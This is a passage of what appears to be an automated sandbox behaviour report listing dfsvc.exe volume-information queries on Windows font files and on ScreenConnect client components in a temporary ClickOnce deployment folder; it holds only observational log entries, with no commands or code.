Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\DUBAI-LIGHT.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\DUBAI-BOLD.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\OFFSYML.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\D4CKD0XW.3MP\NK1E9WBX.DD7\ScreenConnect.Client.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\D4CKD0XW.3MP\NK1E9WBX.DD7\ScreenConnect.ClientService.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\D4CKD0XW.3MP\NK1E9WBX.DD7\ScreenConnect.Windows.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\D4CKD0XW.3MP\NK1E9WBX.DD7\ScreenConnect.WindowsClient.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\D4CKD0XW.3MP\NK1E9WBX.DD7\ScreenConnect.Core.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\D4CKD0XW.3MP\NK1E9WBX.DD7\ScreenConnect.Client.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\D4CKD0XW.3MP\NK1E9WBX.DD7\ScreenConnect.ClientService.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\D4CKD0XW.3MP\NK1E9WBX.DD7\ScreenConnect.Core.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\D4CKD0XW.3MP\NK1E9WBX.DD7\ScreenConnect.ClientService.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\D4CKD0XW.3MP\NK1E9WBX.DD7\ScreenConnect.WindowsBackstageShell.exe VolumeInformation Jump to behavior
